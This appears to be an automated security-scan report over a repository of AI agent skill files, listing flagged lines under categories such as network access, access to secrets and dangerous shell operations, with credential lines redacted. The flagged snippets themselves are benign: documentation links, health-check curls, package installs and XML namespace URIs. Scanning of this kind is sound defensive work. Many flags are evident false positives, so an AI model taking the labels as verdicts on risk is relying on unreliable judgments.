    - [dbt-utils Package](https://hub.getdbt.com/dbt-labs/dbt_utils/latest/)
  • Network accessline 547
    - [dbt Discourse](https://discourse.getdbt.com/)

skills/debugging-strategies/resources/implementation-playbook.md

  • Network accessline 277
    // Memory profiling import _ "net/http/pprof" // Visit http://localhost:6060/debug/pprof/
  • Network accessline 279
    // Visit http://localhost:6060/debug/pprof/

skills/deep-research/SKILL.md

  • Network accessline 2
    name: deep-research description: "Execute autonomous multi-step research using Google Gemini Deep Research Agent. Use for: market analysis, competitive landscaping, literature reviews, technical research, due diligence. Takes 2-10 ..." sour
  • Network accessline 3
    description: "Execute autonomous multi-step research using Google Gemini Deep Research Agent. Use for: market analysis, competitive landscaping, literature reviews, technical research, due diligence. Takes 2-10 ..." source: "https://github.
  • Network accessline 4
    source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/deep-research"
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 30
    1. Get a Gemini API key from [Google AI Studio](https://aistudio.google.com/)
  • Access to secretsline 33
    [Credential-related source omitted]

skills/dependency-management-deps-audit/resources/implementation-playbook.md

  • Network accessline 142
    def __init__(self):         self.vulnerability_apis = {             'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 143
    self.vulnerability_apis = {             'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',             'pypi': 'https://pypi.org/pypi/{package}/json',
  • Network accessline 144
    'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 145
    'pypi': 'https://pypi.org/pypi/{package}/json',
  • Network accessline 146
    'rubygems': 'https://rubygems.org/api/v1/gems/{package}.json',
  • Network accessline 147
    'maven': 'https://ossindex.sonatype.org/api/v3/component-report'
  • Network accessline 182
    """         # Using npm audit API         response = requests.post(
  • Network accessline 183
    # Using npm audit API         response = requests.post(             'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 184
    response = requests.post(
  • Network accessline 185
    'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk',
  • Network accessline 465
    try {             // Fetch package stats             const response = await fetch(
  • Network accessline 466
    // Fetch package stats             const response = await fetch(                 `https://bundlephobia.com/api/size?package=${packageName}@${info.version}`
  • Network accessline 467
    const response = await fetch(
  • Network accessline 468
    `https://bundlephobia.com/api/size?package=${packageName}@${info.version}`

skills/dependency-upgrade/SKILL.md

  • Network accessline 175
    # Or manually check curl https://raw.githubusercontent.com/facebook/react/main/CHANGELOG.md
  • Network accessline 176
    curl https://raw.githubusercontent.com/facebook/react/main/CHANGELOG.md

skills/deployment-pipeline-design/SKILL.md

  • Network accessline 66
    environment:     name: production     url: https://app.example.com
  • Network accessline 67
    name: production     url: https://app.example.com   runs-on: ubuntu-latest
  • Network accessline 68
    url: https://app.example.com
  • Access to secretsline 194
    [Credential-related source omitted]
  • Network accessline 272
    steps:       - name: Health check         run: curl -f https://app.example.com/health
  • Network accessline 273
    - name: Health check         run: curl -f https://app.example.com/health       - name: Notify team
  • Network accessline 274
    run: curl -f https://app.example.com/health
  • Network accessline 275
    - name: Notify team         run: |           curl -X POST ${{ secrets.SLACK_WEBHOOK }} \
  • Network accessline 276
    run: |           curl -X POST ${{ secrets.SLACK_WEBHOOK }} \             -d '{"text":"Production deployment successful!"}'
  • Network accessline 277
    curl -X POST ${{ secrets.SLACK_WEBHOOK }} \
  • Network accessline 309
    run: |         for i in {1..10}; do           if curl -sf https://app.example.com/health; then
  • Network accessline 310
    for i in {1..10}; do           if curl -sf https://app.example.com/health; then             exit 0
  • Network accessline 311
    if curl -sf https://app.example.com/health; then
  • Network accessline 355
    # Check error rate     ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_errors_total[5m])" | jq '.data.result[0].value[1]')
  • Network accessline 356
    ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_errors_total[5m])" | jq '.data.result[0].value[1]')

skills/deployment-procedures/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash

skills/design-md/SKILL.md

  • Network accessline 2
    name: design-md description: "Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files" source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md"
  • Network accessline 3
    description: "Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files" source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md" risk: safe
  • Network accessline 4
    source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md"
  • Network accessline 27
    - Access to the Stitch MCP Server - A Stitch project with at least one designed screen - Access to the Stitch Effective Prompting Guide: https://stitch.withgoogle.com/docs/learn/prompting/
  • Network accessline 29
    - Access to the Stitch Effective Prompting Guide: https://stitch.withgoogle.com/docs/learn/prompting/
  • Network accessline 141
    Review the Stitch Effective Prompting Guide at:    https://stitch.withgoogle.com/docs/learn/prompting/
  • Network accessline 142
    https://stitch.withgoogle.com/docs/learn/prompting/

skills/discord-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/discord-bot-architect/SKILL.md

  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 211
    new ButtonBuilder()           .setLabel('Documentation')           .setURL('https://discord.js.org')
  • Network accessline 212
    .setLabel('Documentation')           .setURL('https://discord.js.org')           .setStyle(ButtonStyle.Link)  // Link buttons don't emit events
  • Network accessline 213
    .setURL('https://discord.js.org')

skills/distributed-debugging-debug-trace/resources/implementation-playbook.md

  • Network accessline 292
    initialize() {         const jaegerExporter = new JaegerExporter({             endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',
  • Network accessline 293
    const jaegerExporter = new JaegerExporter({             endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',         });
  • Network accessline 294
    endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces',
  • Access to secretsline 604
    [Credential-related source omitted]
  • Network accessline 896
    // Debug endpoints             endpoints: {                 jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268',
  • Network accessline 897
    endpoints: {                 jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268',                 elasticsearch: process.env.ELASTICSEARCH_URL || 'http://localhost:9200',
  • Network accessline 898
    jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268',
  • Network accessline 899
    elasticsearch: process.env.ELASTICSEARCH_URL || 'http://localhost:9200',
  • Access to secretsline 1004
    [Credential-related source omitted]

skills/distributed-tracing/SKILL.md

  • Network accessline 62
    # Deploy Jaeger Operator kubectl create namespace observability kubectl create -f https://github.com/jaegertracing/jaeger-operator/releases/download/v1.51.0/jaeger-operator.yaml -n observability
  • Network accessline 64
    kubectl create -f https://github.com/jaegertracing/jaeger-operator/releases/download/v1.51.0/jaeger-operator.yaml -n observability
  • Network accessline 77
    options:       es:         server-urls: http://elasticsearch:9200
  • Network accessline 78
    es:         server-urls: http://elasticsearch:9200   ingress:
  • Network accessline 79
    server-urls: http://elasticsearch:9200
  • Network accessline 169
    const exporter = new JaegerExporter({   endpoint: 'http://jaeger:14268/api/traces'
  • Network accessline 170
    endpoint: 'http://jaeger:14268/api/traces'
  • Network accessline 214
    func initTracer() (*sdktrace.TracerProvider, error) {     exporter, err := jaeger.New(jaeger.WithCollectorEndpoint(         jaeger.WithEndpoint("http://jaeger:14268/api/traces"),
  • Network accessline 215
    exporter, err := jaeger.New(jaeger.WithCollectorEndpoint(         jaeger.WithEndpoint("http://jaeger:14268/api/traces"),     ))
  • Network accessline 216
    jaeger.WithEndpoint("http://jaeger:14268/api/traces"),
  • Network accessline 271
    response = requests.get('http://downstream-service/api', headers=headers)
  • Network accessline 281
    axios.get('http://downstream-service/api', { headers });

skills/doc-coauthoring/SKILL.md

  • Network accessline 304
    Provide testing instructions: 1. Open a fresh Claude conversation: https://claude.ai
  • Network accessline 305
    1. Open a fresh Claude conversation: https://claude.ai

skills/docker-expert/SKILL.md

  • Network accessline 104
    EXPOSE 3000 HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \   CMD curl -f http://localhost:3000/health || exit 1
  • Network accessline 105
    HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3    CMD curl -f http://localhost:3000/health || exit 1
  • Network accessline 106
    CMD curl -f http://localhost:3000/health || exit 1
  • Network accessline 153
    - backend     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
  • Network accessline 154
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:3000/health"]       interval: 30s
  • Network accessline 155
    test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
  • Access to secretsline 306
    [Credential-related source omitted]
  • Access to secretsline 307
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]

skills/documentation-generation-doc-generate/resources/implementation-playbook.md

  • Network accessline 137
    servers:   - url: https://api.example.com/v1
  • Network accessline 138
    - url: https://api.example.com/v1
  • Access to secretsline 266
    [Credential-related source omitted]
  • Network accessline 302
    git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 326
    # Clone and setup git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 327
    git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git
  • Network accessline 467
    <head>     <title>API Documentation</title>     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css">
  • Network accessline 468
    <title>API Documentation</title>     <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> </head>
  • Network accessline 469
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css">
  • Network accessline 474
    <script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui-bundle.js"></script>
  • Network accessline 500
    url = "https://api.example.com{endpoint['path']}"
  • Access to secretsline 501
    [Credential-related source omitted]
  • Network accessline 507
    # JavaScript     examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{
  • Network accessline 508
    examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{     method: '{endpoint['method']}',
  • Network accessline 509
    const response = await fetch('https://api.example.com{endpoint['path']}', {{
  • Access to secretsline 511
    [Credential-related source omitted]
  • Network accessline 518
    # cURL     examples['curl'] = f'''
  • Network accessline 519
    [Credential-related source omitted]
  • Network accessline 520
    [Credential-related source omitted]
  • Access to secretsline 520
    [Credential-related source omitted]
  • Access to secretsline 521
    [Credential-related source omitted]

skills/docusign-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/docx-official/LICENSE.txt

  • Network accessline 6
    exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms
  • Network accessline 7
    Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms
  • Network accessline 8
    https://www.anthropic.com/legal/consumer-terms
  • Network accessline 9
    https://www.anthropic.com/legal/commercial-terms

skills/docx-official/SKILL.md

  • Dangerous shell operationline 195
    - **pandoc**: `sudo apt-get install pandoc` (for text extraction)
  • Dangerous shell operationline 197
    - **LibreOffice**: `sudo apt-get install libreoffice` (for PDF conversion)
  • Dangerous shell operationline 198
    - **Poppler**: `sudo apt-get install poppler-utils` (for pdftoppm to convert PDF to images)

skills/docx-official/docx-js.md

  • Network accessline 238
    children: [new ExternalHyperlink({     children: [new TextRun({ text: "Google", style: "Hyperlink" })],     link: "https://www.google.com"
  • Network accessline 239
    children: [new TextRun({ text: "Google", style: "Hyperlink" })],     link: "https://www.google.com"   })]
  • Network accessline 240
    link: "https://www.google.com"

skills/docx-official/ooxml.md

  • Network accessline 166
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/numbering" Target="numbering.xml"/>
  • Network accessline 167
    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>
  • Network accessline 185
    <wp:extent cx="2743200" cy="1828800"/>         <wp:docPr id="1" name="Picture 1"/>         <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
  • Network accessline 186
    <wp:docPr id="1" name="Picture 1"/>         <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">           <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 187
    <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
  • Network accessline 188
    <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 189
    <pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 230
    <!-- In word/_rels/document.xml.rels --> <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink"
  • Network accessline 231
    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink"
  • Network accessline 232
    Target="https://www.example.com/" TargetMode="External"/>
  • Network accessline 463
    next_rid = rels_editor.get_next_rid() rels_editor.append_to(rels_editor.dom.documentElement,     f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>')
  • Network accessline 464
    rels_editor.append_to(rels_editor.dom.documentElement,     f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>') doc['[Content_Types].xml'].append_to(d
  • Network accessline 465
    f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>')
  • Network accessline 475
    <wp:extent cx="{width_emus}" cy="{height_emus}"/>         <wp:docPr id="1" name="Picture 1"/>         <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
  • Network accessline 476
    <wp:docPr id="1" name="Picture 1"/>         <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">           <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 477
    <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
  • Network accessline 478
    <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 479
    <pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 6
    xmlns:cdr="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 7
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 9
    elementFormDefault="qualified" attributeFormDefault="unqualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 11
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 13
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"     schemaLocation="dml-chartDrawing.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 15
    schemaLocation="dml-chartDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/chartDrawing"
  • Network accessline 6
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 8
    elementFormDefault="qualified" attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 12
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 13
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas">
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 7
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 9
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 11
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"     schemaLocation="dml-diagram.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 13
    schemaLocation="dml-diagram.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart"     schemaLocation="dml-chart.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 15
    schemaLocation="dml-chart.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"     schemaLocation="dml-picture.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 17
    schemaLocation="dml-picture.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"     schemaLocation="dml-lockedCanvas.xsd"/>
  • Network accessline 18
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 6
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 7
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 9
    schemaLocation="dml-main.xsd"/>   <xsd:import schemaLocation="shared-relationshipReference.xsd"     namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
  • Network accessline 10
    <xsd:import schemaLocation="shared-relationshipReference.xsd"     namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>   <xsd:element name="from" type="CT_Marker"/>
  • Network accessline 11
    namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 5
    xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 6
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 7
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 9
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 11
    schemaLocation="dml-main.xsd"/>   <xsd:import schemaLocation="wml.xsd"     namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>
  • Network accessline 12
    <xsd:import schemaLocation="wml.xsd"     namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 13
    namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 15
    schemaLocation="dml-picture.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 4
    xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 5
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 6
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 7
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 8
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 9
    targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main">
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 11
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 13
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"

skills/docx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"
  • Network accessline 6
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
